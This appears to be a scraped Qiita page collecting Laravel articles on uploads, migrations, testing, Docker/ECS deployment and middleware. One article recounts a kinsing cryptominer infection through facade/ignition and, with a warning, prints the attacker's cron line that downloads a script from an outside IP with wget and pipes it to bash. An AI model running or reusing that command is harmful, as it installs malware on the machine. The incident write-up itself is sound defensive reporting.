20210303のlaravelに関する記事は12件です。

Laravel 画像の投稿機能とシンボリックリンク

はじめに

Laravelにて簡単な画像付きレシピ投稿アプリを作成しています。
画像のアップロード機能を実装した際にシンボリックリンクという言葉を初めて知ったので、備忘録として記録しておくことにしました。

シンボリックリンクとは

Windouwsでいうところのショートカットのようなもの。
シンボリックリンクファイルを通して大元のフォルダを参照することができます。

やりたいこと

投稿フォームから画像を選択し送信ボタンを押すと一覧で表示されるという仕組み。

画像ファイルを選択し送信ボタンをクリック
image.png
一覧画面へ画像を表示
ここでレシピ投稿アプリなのに料理の写真ねーじゃん!とツッコまれる
image.png

画像の保存先

さて、コントローラーで受け取った画像ファイルは基本的に storage/app/public/image 内に保存させます。

RecipeController.php
public function create(Request $request){
        $recipe = new Recipe;
        $form = $request->all();

        //画像が送信されたら保存して $recipe->image_pathカラム にパスを保存する
        if (isset($form['image'])) {//変数に値が入っているかをチェック
            $path = $request->file('image')->store('image');// 画像をstorage/app/public/image配下に保存
            $recipe->image_path = basename($path);//パスからを取得したファイル名をimage_pathカラムに保存
        } else {
            $recipe->image_path = null;
        }

        unset($form['_token']);
        unset($form['image']);

        $recipe->fill($form)->save();
        return redirect('/home');
    }

ただ、実際にアプリケーションを起動するときに公開されるのはpublicディレクトリのみです。画像はstorage/app/public/imageに保存されているので画像データを持ってくることはできません。
そんなときにpublicディレクトリからstorage/app/public/imageへのショートカット機能の役割を果たすのががシンボリックリンクです。

シンボリックリンクの貼り方

artisanコマンドから簡単にできます。
まずpublicディレクトリへ移動します。

$ cd public

以下のコマンドを実行します。

$ php artisan storage:link

するとpublic内にstorageフォルダができます。(ショートカットが作成されるの方がわかりやすいかも)
矢印ができます。

image.png

public/imageと進んでいくと、storage/app/public/imageと同じ画像ファイルが存在していることがわかるかと思います。

ビューに画像を表示させる

画像表示部分のみ

home.blade.php
<img src="{{ asset('storage/image/' . $recipe->image_path) }}" width="100%" heigth="100%" alt="">

asset('ファイルパス')はpublicディレクトリのパスを返す関数です。
丁寧に書くと、app/public/storage/image/[画像のパス名]となるわけです。
さっきシンボリックリンクを貼ったおかげでこのフォルダパスを通すことができました。

終わり。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

inputタグとtextareaタグでのvalueの渡し方について

概要

Laravelで編集機能を実装中にDBから取得したデータをviewへ表示しようとした時が
inputタグの場合は取得したデータが表示されているのに、texereaタグでは表示されなかった原因を記載します。

問題

なぜかタイトルは取得したデータが取得できているのに本文ではできていなかった。
(DBには確かにデータはあるにも関わらず)

form.balade.php
<label for="name">タイトル</label>
<input type="text" class="form-control" name="title" value="{{ $memo->title }}">

<label for="text">本文</label>
<textarea class="form-control" rows="10" name="memo" value="{{ $memo->text }}"></textarea>

image.png

解決

正しい書き方はこうだ

form.balade.php
<label for="name">タイトル</label>
<input type="text" class="form-control" name="title" value="{{ $memo->title }}">

<label for="text">本文</label>
<textarea class="form-control" rows="10" name="memo">{{ $memo->memo }}</textarea>

原因:texereaタグにvalu属性には対応していない

inputタグにはclass属性と同じ箇所にvalue属性も記述することでデータを表示することができるが、textareaタグにはそうではない。
私はなぜかinputタグと同じ要領でやれば表示されると勘違いしていたが、そうではなかったのだ。

form.balade.php
//間違い
<textarea class="form-control" rows="10" name="memo" value="{{ $memo->text }}">

//正しい
<textarea class="form-control" rows="10" name="memo">{{ $memo->memo }}</textarea>

追記:JavaScriptの場合は指定できる

@il9437 さんからコメントで教えて頂きました。

JavaScript場合は、textareaにもvalue値を指定できるようです。

test.js
<textarea id='ta'></textarea>
<script>
  document.getElementById('ta').value = 'test';
</script>

image.png

以上となります。
もし悩まれている方の解決策になれば幸いです。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Class 'App\Providers\view' not found 解決方法

エラー:Class 'App\Providers\view' not found

参考書Laravel入門(p.101)の「クロージャ(無名関数)でコンポーザ処理を作る」で、サービスプロバイダを登録しビューコンポーザを利用する為に、/helloにアクセスしたところ、
スクリーンショット 2021-03-03 22.14.28.png

Class 'App\Providers\view' not found

エラーが発生!
このエラーは、viewが適切に読み込まれていないという意味なので、
viewを読み込むよう、HelloServiceProvider.phpに下記のuse宣言を追加すればOKです。

use Illuminate\Support\Facades\View;

スクリーンショット 2021-03-03 22.14.54.png
これで無事ブラウザ表示が確認できました。

参考記事はこちら
https://qiita.com/janet_parker/items/4b63804fe7f8aa3e74c6
https://qiita.com/niiyz/items/5b83ef5255a1ec64d9d6
https://stackoverflow.com/questions/63655253/error-class-app-providers-view-not-found

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Laravelでquery parametersで空文字渡ってくるはずが謎にnullが取れる件

はじめに

こんにちは。楽天モバイルの楽天回線エリアに住んでますが、パートナー回線しか繋がらない筆者です。

さて、Laravel使ってまして、query parametersで空文字来てるはずなのに、nullになっちゃうことに地味に小一時間悩んだので共有します。

結論:こいつの仕業

Kernel.php
protected $middleware = [
    \Illuminate\Foundation\Http\Middleware\ConvertEmptyStringsToNull::class, // これ
];

こいつが空文字nullに変換しているんです... :sob:

地味に小一時間悩んだ話

以下を例にすると、2のときにnullになっているという恐ろしさ...。
そして、3のときも空文字が入っていたもののそれがnullに変換されてsetされているので、デフォルト値の1が適用されないという恐ろしさ...。

HomeController.php
public function index(Request $request)
{
    // 1: http://localhost?hoge=1
    $hoge = $request->input('hoge');
    dd($hoge); // 1

    // 2: http://localhost?hoge=
    $hoge = $request->input('hoge');
    dd($hoge); // null

    // 3: http://localhost?hoge=
    $hoge = $request->input('hoge', 1);
    dd($hoge); // null
}

勝手に変えてほしくない人は

以下コメントアウトしましょう:ok_hand:
あと、ちゃんとコメント書いておきましょう:pray:
https://github.com/laravel/laravel/blob/8.x/app/Http/Kernel.php#L23

おわりに

便利なのかもしれないのですが、良し悪しあると思います:thinking:
何かのお役に立てていれば幸いです。
それでは。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Could not open input file: artisan解決方法

エラー:Could not open input file: artisan

Laravelでサービスプロバイダを作成する為に、

$ php artisan make:provider HelloServiceProvider

上記のコマンドをターミナルで叩くと、

Could not open input file: artisan

というエラーが発生します。

このコマンドは、arisanファイルのあるディレクトリにいないと実行できない為、
エラーが発生するということは、コマンドを実行するカレントディレクトリが間違っている可能性があります。

現在どこのディレクトリで実行しているか確認しましょう。
スクリーンショット 2021-03-03 20.59.29.png
こちらの場合だと、

$cd docker-laravel-demo/backend

これで、artisanファイルのあるbackendディレクトリまで移動し、

$ php artisan make:provider HelloServiceProvider

サービスプロバイダを作成するコマンドを叩くと、

Controller created successfully.

こちらが表示され、Providersディレクトリ内にHelloServiceProviderファイルが作成されます。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

爆速で検索できる顔文字サイトを開発した話

きっかけ

某S●mejiに対抗するため、えりんぎという顔文字サイトを2020年1月に公開

志半ばで中途半端な状態のまま放置してドメインを失効しそうになる
閉鎖しようと思ったが友人がずっと使ってくれてたのを知る

というわけでバグだらけの「えりんぎ」をリニューアルすることに

作ったもの

顔文字をカテゴリやキーワードで検索できるサイト
えもしぇあ https://emoshare.net

製作期間は3週間で60時間くらい
※顔文字を登録する作業が10時間以上占めている( ;꒳​; )

LighthouseでPerformanceが100にならなかったけど爆速
※Google Analytics入れたら92に下がった( ;꒳​; )
99.png

技術

Laravel 6.x (普段使っている安心安定のLaravel)
Vue3 (Composition API 使ってみたかった)
Tailwind CSS (Laravel8で採用されたらしいので使ってみたかった)

実装方針

実装に時間が掛かりそうなものはできるだけ除外
コンポーネントはあまり細かく分けない
新しいことはあまりしない(躓いたら諦める)

実装したい機能

検索したときにページ遷移せずいい感じで表示したい
タップやクリックでクリップボードにコピー
コピーした履歴を持ちたい
できるだけ爆速で表示したい
いいね機能
顔文字にキーワードを持たせて検索しやすくする(管理画面で設定するのめんどくさくなって途中から設定してない)
投稿(めんどくさくなってやめた)
ダークモード(めんどくさくなってやめた)
多言語化する(顔文字に日本語を含めなくなるのでやめた)

画面設計

5分で完了
爆速
Screenshot.png

DB設計

5分で完了
爆速
ER.png

実装

いいねボタン

これ参考にした

タグクラウド

チェックボックスの状態でON/OFFを切り替える

vue.js
// 一部省略
<label :for="'category' + category.id">
  <input
      :id="'category' + category.id"
      type="checkbox"
      class="category-input hidden"
  />
  <div class="category-button-wrapper">
    <span class="category-button">
      #{{ category.name }}
    </span>
  </div>
</label>
style.scss
.category-input {
  &:checked {
    + .category-button-wrapper {
      .category-button {
        color: #fff;
        background: #f59e0b;
        border-color: #f59e0b;
      }
    }
  }

  &:active {
    + .category-button-wrapper{
      .category-button {
        color: #fff;
        background: #fbbf24;
        border-color: #fbbf24;
      }
    }
  }
}

:checked:hover で実装したところスマホでうまく動かなかったが :hover:active に変えたら動いた

コピー履歴

Local Storageでコピーした顔文字を保持

localstorage.png

エラー画面

地味に 401, 403, 404, 405, 419, 429, 500, 503 エラーに対応した
error.png

gzip圧縮

cssとjsを圧縮する
zopfli使ったら結構小さくなった

tailwind.config.js
module.exports = {
  purge: [
    './resources/js/components/**/*.vue',
    './resources/views/**/*php'
  ],
  darkMode: false, // or 'media' or 'class'
  theme: {
    extend: {},
  },
  variants: {
    extend: {},
  },
  plugins: [],
}
webpack.mix.js
const mix = require('laravel-mix')
const tailwindcss = require('tailwindcss')
const CompressionPlugin = require('compression-webpack-plugin')
const zopfli = require('node-zopfli')

mix.js('resources/js/app.js', 'public/js').vue()
  .sass('resources/sass/app.scss', 'public/css')
  .options({
    processCssUrls: false,
    postCss: [ tailwindcss('./tailwind.config.js') ],
  }).webpackConfig({
  plugins: [
    new CompressionPlugin({
      test: /\.(css)|(js)$/,
      algorithm: (content, options, fn) => {
        zopfli.gzip(content, options, fn);
      },
    })
  ]
})
.htaccess
# gzip対応
RewriteCond %{HTTP:Accept-Encoding} gzip
RewriteCond %{REQUEST_FILENAME}\.gz -s
RewriteRule ^(.+) $1.gz

<FilesMatch "\.css\.gz$">
    ForceType text/css
    AddEncoding x-gzip .gz
</FilesMatch>
<FilesMatch "\.js\.gz$">
    ForceType application/x-javascript
    AddEncoding x-gzip .gz
</FilesMatch>

デプロイ

レンタルサーバーにデプロイする方法忘れたのでこれを参考にした
ヘテムルにLaravelをデプロイする方法 (Laravel5.8)

最後に

Tailwind CSSのおかげで命名する時間を節約できたのはよかった
あとレスポンシブ対応も楽だった
Google Analytics入れたらBest Practicesが100にならないんだけどどうしたらいいの?

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

LaravelでNotification::fake()を使ったテストでNotification::assertSentToがうまく通らない

経緯

Laravelのテストで、Notification Fake
https://readouble.com/laravel/8.x/ja/mocking.html
を使用して、テスト時に実際にはslackに通知を飛ばさないようにしておいて、
Notification::assertSentTo
で、通知が送信される処理は行われていることをテストしようとして、

Notification::assertSentTo(
    new AnonymousNotifiable,
    SlackNotification::class
);

と書いたのだけど、どうあがいても

The expected [App\Notifications\SlackNotification] notification was not sent.
Failed asserting that false is true.

と怒られてしまう。
指定の仕方とか色々試したけど、assertSentToではどうあがいてもうまくテストが通らなかった。。。。

解決策

Notification::assertTimesSent
を使用することで解決

Notification::assertTimesSent(
    1,
    SlackNotification::class
);

第一引数に通知が送信されるべき回数(期待値)を指定してやればOK
テストでは一旦通知内容は確認しなくてOKだったので、通知が飛ばされる回数をテストしてやる形でテストが通った

通知が送られる処理の直前で

Notification::assertTimesSent(
    0,
    SlackNotification::class
);

と記述しても通ったので、とりあえず問題なさそう。

assertSentTo使う場合はどう書けばいいのかモヤモヤするけど、一旦忘れる!

追記

本記事を公開後、ちょっと調べてたら、以下の記事を見つけた
https://qiita.com/harukei/items/26f0a1c0d6128f681c00
Notification::fake() が Mail::fake() を上から潰しているようです。

確かに僕のコードでも

    public function test__invoke()
    {
        Mail::fake();
        Notification::fake();

とNotification::fake() と Mail::fake()の両方を使用しているので、assertSentToがうまく動作しないのはこのせいなのかもしれない。。。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Laravel:標準ログイン機能実装後に既存テーブルにuser_idカラム追加する方法

概要

Laravelで標準Auth認証を用いてログイン機能を実装した後に、既存のテーブルにuser_idを追加する場合の方法です。
image.png

追加用のマイグレーションファイルを作成

//書き方
$ php artisan make:migration add_カラム名_to_追加先のテーブル名_table --table=追加先のテーブル名

//今回の場合はこんな感じ
$ php artisan make:migration add_user_id_to_memos_table --table=memos

実行するとアプリ名/database/migrations配下に作成したマイグレーションファイルが作成されます。

マイグレーションファイルを編集

出来上がったマイグレーションファイルを見ると↓↓↓な感じのが出来上がっている

2021_03_02_131812_add_user_id_to_memos_table.php
<?php

use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;

class AddUserIdToMemosTable extends Migration
{
    /**
     * Run the migrations.
     *
     * @return void
     */
    public function up()
    {
        Schema::table('memos', function (Blueprint $table) {
            //

        });
    }

    /**
     * Reverse the migrations.
     *
     * @return void
     */
    public function down()
    {
        Schema::table('memos', function (Blueprint $table) {
            //
        });
    }
}

ここからUPの部分にuser_idを追加します。
↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓

2021_03_02_131812_add_user_id_to_memos_table.php
<?php

use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;

class AddUserIdToMemosTable extends Migration
{
    /**
     * Run the migrations.
     *
     * @return void
     */
    public function up()
    {
        Schema::table('memos', function (Blueprint $table) {
            $table->bigInteger('user_id')->unsigned();
            $table->foreign('user_id')
                ->references('id')->on('users')
                ->onDelete('cascade');
        });
    }

    /**
     * Reverse the migrations.
     *
     * @return void
     */
    public function down()
    {
        Schema::table('memos', function (Blueprint $table) {
            //
        });
    }
}

1)user_idのデータ型をUsersテーブルのidのデータ型と合わせる
→データ型はbigIntなので、bigIntegerで指定します。
※合ってないとマイグレーションコマンドを実行した時にエラーになります
→unsignedは符号なしということ(整数のみで-1とかは登録できないようにするということ)

2)この時に外部キー(userテーブルのidと紐づけること)の設定も行う
→foreignメソッドやreferencesメソッドを用いる
→userが削除された時にmemosテーブルに紐づいているデータも一緒に削除されるようにonDeleteメソッドも用いる

マイグレーションを実行

下記のコマンドを実行するとmemosテーブルにカラムが追加されます。

$ php artisan migrate

各モデルにリレーションを設定する

Userモデル

Userは複数のmemoのデータを持つので、1対多の関係になります。
なのでUserモデルにhasManyの記述をします。(※Mが大文字なので注意)

User.php
<?php

namespace App;

use Illuminate\Contracts\Auth\MustVerifyEmail;
use Illuminate\Foundation\Auth\User as Authenticatable;
use Illuminate\Notifications\Notifiable;

class User extends Authenticatable
{
              {中略}

    public function memos(){
        return $this->hasMany('App\Memo');
    }
}

Memoモデル

Memoテーブルは1つのmemoに対して1人のUserのデータを持つので、
なのでMemoモデルにbelongToの記述をします。(※Tが大文字なので注意)

Memo.php
<?php

namespace App;

use Illuminate\Database\Eloquent\Model;

class Memo extends Model
{
              {中略}

  public function User(){
    return $this->belongsTo('App\User');
  }
}

以上となります。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

kinsing(kdevtmpfsi)という厄介なマルウェアにかかった話

EC2が急にCPU100%のアラートを飛ばすようになった。nanoなのに1日2ドルとかトラフィックでかかっていてなんだこれ?ってなった。
調べてみるとkinsing(kdevtmpfsi)というマルウェアにかかっていて、仮想通貨のマイニングに勝手に使われた模様。
プロセスは下記の様な感じ。

【注意】下記のシェルURLは絶対に叩かないでください!!

[root@ip-xxx-xxx-xxx-xxx ~]# ps aux | grep nginx
nginx     2296  0.0  0.3 404256  1432 ?        S     2月14   0:10 php-fpm: pool www
nginx     2297  0.0  0.3 402228  1584 ?        S     2月14   0:09 php-fpm: pool www
nginx     2298  0.0  0.2 404268  1232 ?        S     2月14   0:10 php-fpm: pool www
nginx     2299  0.0  0.3 404252  1584 ?        S     2月14   0:10 php-fpm: pool www
nginx     2301  0.0  0.3 402232  1616 ?        S     2月14   0:10 php-fpm: pool www
root      2304  0.0  0.0 125972     0 ?        Ss    2月14   0:00 nginx: master process /usr/sbin/nginx
nginx     2306  0.0  0.0 126384   396 ?        S     2月14   0:02 nginx: worker process
nginx     2307  0.0  0.0 126384   160 ?        S     2月14   0:00 nginx: worker process
nginx     2762  0.0  0.2 402212  1396 ?        S     2月14   0:10 php-fpm: pool www
nginx     9152  0.0  0.2 404256  1416 ?        S    04:28   0:06 php-fpm: pool www
nginx    20413  0.0  0.7 718484  3412 ?        Sl   20:50   0:00 /tmp/kinsing
nginx    20564  197 56.3 788140 266128 ?       Ssl  20:51  76:19 /tmp/kdevtmpfsi
root     22545  0.0  0.1 119436   864 pts/0    S+   21:30   0:00 grep --color=auto nginx
[root@ip-xxx-xxx-xxx-xxx ~]# cd /var/spool/cron
[root@ip-xxx-xxx-xxx-xxx cron]# ll
合計 4
-rw------- 1 nginx nginx 74  2月 15 20:50 nginx
[root@ip-xxx-xxx-xxx-xxx cron]# cat nginx
* * * * * wget -q -O - http://195.3.146.118/pg.sh | bash > /dev/null 2>&1

[root@ip-xxx-xxx-xxx-xxx tmp]# pwd
/tmp
[root@ip-xxx-xxx-xxx-xxx tmp]# ll -a
合計 4
drwxrwxrwt 11 root  root  4096  2月 15 21:44 .
dr-xr-xr-x 19 root  root   288  6月  2  2020 ..
drwxrwxrwt  2 root  root     6  6月  1  2020 .ICE-unix
drwxr-xr-x  2 nginx nginx   18  2月 11 21:41 .ICEd-unix
drwxrwxrwt  2 root  root     6  6月  1  2020 .Test-unix
drwxrwxrwt  2 root  root     6  6月  1  2020 .X11-unix
drwxrwxrwt  2 root  root     6  6月  1  2020 .XIM-unix
drwxrwxrwt  2 root  root     6  6月  1  2020 .font-unix
drwx------  3 root  root    17  2月 15 21:39 systemd-private-1b85b88f39584ae9aa205c4496b3ef47-chronyd.service-oOMI2M
drwx------  3 root  root    17  2月 15 21:39 systemd-private-1b85b88f39584ae9aa205c4496b3ef47-nginx.service-YmMBKR
drwx------  3 root  root    17  2月 15 21:39 systemd-private-1b85b88f39584ae9aa205c4496b3ef47-php-fpm.service-GQpeT7
[root@ip-xxx-xxx-xxx-xxx tmp]# ll -a /var/spool/cron/
合計 0
drwx------ 2 root root  6  2月 15 21:38 .
drwxr-xr-x 9 root root 97  5月 27  2020 ..

何かしらの脆弱性をついてnginxのユーザーで特定のプログラムを実行させるという手法。

対処方法

kinsingにかかったら、/tmpのkinsing,kdevtmpfsiを削除するのと、/var/spool/cron/nginx のファイルを削除してください。
また、root権限かsudoで全体に検索かけてください。

[root@ip-xxx-xxx-xxx-xxx tmp]# find / -name “kinsing”
[root@ip-xxx-xxx-xxx-xxx tmp]# find / -name “kdevtmpfsi”

本件の問題は、Laravelフレームワークにおいてデバッグ出力時に利用しているcomposerのfacade/ignitionの脆弱性が問題です。
composer updateをして最新版にアップデートしてください。
facade/ignitionがバージョン2.0.6で問題が起き、2.5.13で問題が起きないことを確認しています。

また、.env の APP_DEBUG がtrue になってたら false に変更してください。
一応プロセスキルだけでも良いとは思いますが、念の為サーバーは再起動した方が良いと思います。

yumとcomposerは定期的にアップデートした方がよさそうです。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

初学者がコンテナを何度も落としながらもECSデプロイに成功したのでメモしておく

未経験ですが、めちゃくちゃ苦戦しながらもECSへのデプロイに成功したので、メモしておきます。
特にDockerfileの記述ミスでコンテナが落ちまくったので今回はDockerfileの書き方を中心に書いていきます。
何か間違いなどありましたら遠慮なくコメントにメッセージをお願いします。成長できればと思っています。

前提

PHP Laravel PostgreSQL Docker
7.4.5 7.28.4 13.1 19.03.13

ECSデプロイまでの大まかな流れ

(注意 Dockerfileから作成したイメージをカスタムイメージとここでは呼びます)
ECSデプロイまでの全体図

用語確認

ECS
コンテナに関する設定、管理などあらゆるものを自動化してくれるサービス

タスク
コンテナの集合体

タスク定義
どのようなタスクを生成するか定義している

サービス
指定したタスク定義からタスクを生成する(イメージをコンテナ化させる)

クラスター
タスクとサービスをグルーピングする。クラスターにアプリケーションを動かすためのサーバーなどを指定する。

厳密ではありませんが大まかに上記の流れを踏んでECSへサービスをデプロイします。
AWS側の設定も大変ですが、今回は起点となるDockerfileの書き方(ECSバージョン)をフォーカスしてみます。

Dockerfileとは?

Docker上で動作させるコンテナの構成情報を記述するファイル。コンテナ内の環境を構築するファイル。
この説明では分かりにくいと思うのでこれから詳しく見ていきます。

Dockerfileの役割

基本的にはイメージをビルドすること。
イメージをビルドするとは、ベースとなるイメージに対して何らかの機能や設定を加えて、独自のイメージを生成するということ。

Dockerfileによるイメージビルドまでの流れ

Dockerfileによるイメージビルドまでの流れ

厳密ではありませんが僕のいろいろ調べたところ上の流れになっていると認識しました。

実際のDockerfile(ECSデプロイバージョン)

FROM php:7.4.1-fpm

RUN apt-get update \
  && apt-get install -y wget git unzip libpq-dev libfreetype6-dev libjpeg62-turbo-dev libpng-dev \
  && : 'Install Node.js' \
  &&  curl -sL https://deb.nodesource.com/setup_12.x | bash - \
  && apt-get install -y nodejs \
  && : 'Install PHP Extensions' \
  && docker-php-ext-install -j$(nproc) pdo_pgsql \
  && mkdir /workdir

COPY --from=composer /usr/bin/composer /usr/bin/composer
COPY . /workdir
WORKDIR /workdir
RUN composer install
CMD ["php","artisan", "serve", "--host", "0.0.0.0", "--port", "8085"]

Dockerfileの解説

ベースイメージの指定

FROM php:7.4.1-fpm

まずはベースとなるDockerイメージを指定します。これを基点にオリジナルのイメージを作成していきます。

パッケージリストの更新

RUN apt-get update \

パッケージリストの更新を行います。
具体的に何をやっているのかというと、

/etc/apt/sources.list

に書かれているURLからパッケージインデックスファイルを引っ張ってきて

$ cd /var/lib/apt/lists

に格納しています。

コンテナ正常に稼働させるために必要なパッケージをインストール

&& apt-get install -y wget git unzip libpq-dev libfreetype6-dev libjpeg62-turbo-dev libpng-dev \

&&について
RUNコマンドを複数使うとそれだけイメージレイヤが増えるため、&&で連結させ複数の処理をひとつのRUNにまとめて記述することが推奨されているそうです。

apt-get install -y
apt-getは引数に書いたパッケージがアップロードされているサーバーに問い合わせて、そのパッケージを自動でインストールしてくれるコマンド。引数 -y を設定しておくとインストール途中に「yes/no」を聞かれたとき自動で「yes」を選んでくれる。

Node.jsのインストール

&& : 'Install Node.js' \
&&  curl -sL https://deb.nodesource.com/setup_12.x | bash - \

最初の行は下の実行処理に名前をつけています。
Node.jsとは、ブラウザ上という制限された環境でしか動けないJavaScriptを、パソコン上で動かせるようにしてくれるJavaScriptの実行環境。

PDO_PGSQLのインストール

&& : 'Install PHP Extensions' \
&& docker-php-ext-install -j$(nproc) pdo_pgsql \

PDO_PGSQLとは、PHPからPostgreSQLデータベースへアクセス可能にするためのドライバ。
これによりPostgreSQLが使用できるようになります。

コンテナ内に作業ディレクトリを作成しておく

&& mkdir /workdir

コンテナ内にディレクトリを作成しておきます。
のちのちコンテナの中にアプリケーションコード群(Laravelのコード群)を配置しなければならず(そうしないと当然アプリは動かない)、そのアプリケーションコード群を格納するためのディレクトリが必要なのでここで作成しておきました。

Composerのインストール

COPY --from=composer /usr/bin/composer /usr/bin/composer

わずかこの1行だけで完了します。

補足
composerとは、パッケージ依存管理ツールです。
パッケージは依存し合っているので、Aというパッケージをインストールするとき、パッケージAを利用するにはパッケージB,C,D,Eが必要なケースもあります。
そんなときcomposerを利用することで、パッケージB,C,Dまとめてインストールしてくれます。
詳しくは以下の記事から!
PHP開発でComposerを使わないなんてありえない!基礎編

アプリケーションコード群をコンテナ内にコピペする

COPY . /workdir

もちろん動かす予定のコンテナ内にアプリケーションコードがなければアプリは起動しないので、コンテナにコードを配置させるという処理をしなければなりません。

このとき便利なのがCOPYコマンドです。
ローカル上にあるコード郡をコンテナ内部にコピーして貼り付けてくれます。このCOPYコマンドを実施しなければコンテナの中身は空っぽな状態になります。

COPYコマンドの引数は以下の通りです。

COPY コピー元 コピー先

さらに細かく見ると、

COPY Dockerfileから見たコード群の位置(相対パス) コンテナ内の貼り付ける位置(絶対パス)

それを踏まえた上でもう一度、上のCOPYコマンドを確認してみます。

COPY . /workdir

第1引数は「カレントディレクトリ」を表すドットです。
DockerfileをLaravelのコード群の中に配置したので、この場合コピー元にカレントディレクトリと指定するとDockerfileも含めたLaravelコード群がまずコピーされます。

注意点
Dockerfileより上の階層にあるファイルやディレクトリをコピー元として選択できません。
上の階層のものを指定したい場合、docker-compose.ymlのbuildオプションを利用して実現可能です。(ここではその解説は省略します)

第2引数に /workdir を指定しました。
このディレクトリは以前上で作成したディレクトリです。このディレクトリの中にコピーしたLaravelコード群一式をペーストします。

以上でコンテナ内にもアプリケーションコード群が存在するようになりました!

作業ディレクトリを移動する

WORKDIR /workdir

この後に続く処理は、アプリケーションコードが格納されたディレクトリ内部で実行しなければならないため、実行場所をあらかじめ移動しておきます。

補足

WORKDIRは、作業するディレクトリ(コマンドの実行場所)を指定しますが、指定したディレクトリが存在しない場合、自動的に指定したディレクトリを作成した上で移動してくれます。

vendorディレクトリのインストール(省略可)

RUN composer install

僕の場合、Gitを利用してリモートリポジトリにプッシュしたあとCircleCI/CDを利用して自動でデプロイが実行されるように設定したのでこの処理が必要でした。
Gitでプッシュされるものの中に「vendorディレクトリ」は省かれる(.gitignore)ためです。

コンテナ内のアプリケーションコードの中に「vendor」ディレクトリが存在しない場合、コンテナ起動時に以下のようなエラーが検出されます。

Warning: require(/workdir/vendor/autoload.php): failed to open stream: No such file or directory in /workdir/artisan on line 18

これはvendorディレクトリが存在しないために発生するエラーです。
vendorディレクトリを改めてインストールするには「composer install」コマンドを実行しなければなりません。

なので、ビルド時にコンテナ内であらかじめ「composer install」コマンドを実行して「vendorディレクトリ」を再インストールしておきました。

コンテナ起動時に自動的にPHPサーバーを立ち上げる

CMD ["php","artisan", "serve", "--host", "0.0.0.0", "--port", "8085"]

CMDコマンドとは、カスタムイメージのビルド成功後、そのカスタムイメージをコンテナとして起動させるタイミングで一度だけ実行できるコマンドです。これを設定しておけばコンテナ起動時に毎回指定の処理を実行してくれます。

僕はこれを指定しておらずコンテナが何度も落ちてしまいました。
これを指定しなければコンテナのヘルスチェックに引っかかり続けます。
なぜならサーバーが立ち上がっていないため、ヘルスチェックによって指定のパスにアクセスしても正常なレスポンスが返らないからです。

補足 ヘルスチェックとは?
特定のサーバー上のサービスに、作業を正常に実行できるかどうかを確認する方法です。
分かりやすくいうと、ロードバランサーにサービス上のあるパスを設定しておき、その設定したパスにロードバランサーが試験的にアクセスし、正常なレスポンスが返ればOK、異常ならばコンテナを落とします。

以上でECSにデプロイ可能なカスタムイメージを作成できうるDockerfileを作成することができました!!!!!

開発環境にDockerを使う方法やdocker-compose.ymlについてもまとめたいところですが、長くなるので別の記事にまとめます。

最後に

まだ未経験の初学者なもので、公式サイトやあらゆる記事を参考に手探りでDockerfileの書き方や内容を学んできました。
また大枠を捉えられるようにするため、厳密には異なる箇所もあると思います。
しかし初学者にとってDockerfile(特にECSへのデプロイ用)を理解するのは結構ハードル高いように感じたので、自分なりに記事にまとめてみました。
何か相違点などある場合は遠慮なくメッセージしていただけると嬉しいです。
ここまで読んで頂きありがとうございました!

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Laravel】認証済みユーザーが"/register"にアクセスするとリダイレクトされるのはなぜか

初めに

タイトルの通りです。RegisterControllerコントローラーやRegisterUsersトレイトばかりに目が向いていて、ミドルウェアという選択肢を全く考えられなかったことへの戒めに記事に残しておきます。

前提

環境

  • PHP 7.4.15
  • Laravel 6.20.16
  • laravel/ui 1.3.0

今回の認証機能はlaravel/uiの以下のコマンド

php artisan ui:auth vue

によって提供されるものをそのまま使いました。

結論

先に答えを述べて、それから何故それが答えになるのかの説明をしていきたいと思います。

結論を言いますと、App\Http\Controllers\Auth\RegisterControllerクラスのコンストラクタに

app/Http/Controllers/Auth/RegisterController.php
public function __construct()
{
    $this->middleware('guest');
}

という処理によって、guestという名前のミドルウェアが適用されているからでした。

guestミドルウェアが追加されているコントローラは、認証済みユーザーからはアクセスできないようにミドルウェアによってガードされるようになります。

ではこの処理がどのように動作しているかを見てみましょう。

ミドルウェアguest

guestミドルウェアがどんな処理を行うかはApp\Http\Kernelをみればわかります。

App\Http\Kernel

  • 適用させるミドルウェアを登録したり
  • グループ分けを行ったり
  • 今回のguestのようにミドルウェアに対して個別に呼び出しを行えるように別名を付けたり

といったミドルウェアに関する情報を扱っています。

App\Http\Kernelクラスを見てみると、

app/Http/kernel.php
// 前略
protected $routeMiddleware = [
    'auth' => \App\Http\Middleware\Authenticate::class,
    'auth.basic' => \Illuminate\Auth\Middleware\AuthenticateWithBasicAuth::class,
    'bindings' => \Illuminate\Routing\Middleware\SubstituteBindings::class,
    'cache.headers' => \Illuminate\Http\Middleware\SetCacheHeaders::class,
    'can' => \Illuminate\Auth\Middleware\Authorize::class,
    'guest' => \App\Http\Middleware\RedirectIfAuthenticated::class,
    'password.confirm' => \Illuminate\Auth\Middleware\RequirePassword::class,
    'signed' => \Illuminate\Routing\Middleware\ValidateSignature::class,
    'throttle' => \Illuminate\Routing\Middleware\ThrottleRequests::class,
    'verified' => \Illuminate\Auth\Middleware\EnsureEmailIsVerified::class,
];
// 後略

$routeMiddlewareプロパティに、[ミドルウェア名 => それの実装クラス]というような形式の連想配列の形で、あるミドルウェアに対してどの実装クラスを実行するかの情報が保存されています。

このプロパティ中のguestキーに対応するものは\App\Http\Middleware\RedirectIfAuthenticatedというクラスです。

名前からして、認証済みであればリダイレクトを行うという処理を担っていることが明らかですね。

ではこのクラスの実装を見てみましょう。

RedirectIfAuthenticatedクラスの処理

app/Http/Middleware/RedirectIfAuthenticated.php
<?php

namespace App\Http\Middleware;

use App\Providers\RouteServiceProvider;
use Closure;
use Illuminate\Support\Facades\Auth;

